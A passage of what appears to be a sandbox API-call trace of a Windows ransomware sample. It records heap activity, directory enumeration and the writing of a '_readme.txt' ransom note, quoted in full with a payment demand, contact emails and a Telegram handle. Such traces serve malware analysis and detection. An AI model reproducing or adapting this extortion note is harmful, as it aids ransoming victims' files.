0x30e9368 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.685] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.685] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.686] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.686] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.687] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.687] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0124.687] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.687] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.687] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.687] PathFindFileNameW (pszPath="") returned="" [0124.687] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.688] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.688] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.688] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x81c) returned 0x30e9368 [0124.688] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0124.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.688] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.688] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0124.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.688] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.688] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.688] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.689] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.689] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.689] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.689] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.689] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0124.689] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.691] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.692] HeapFree (in: 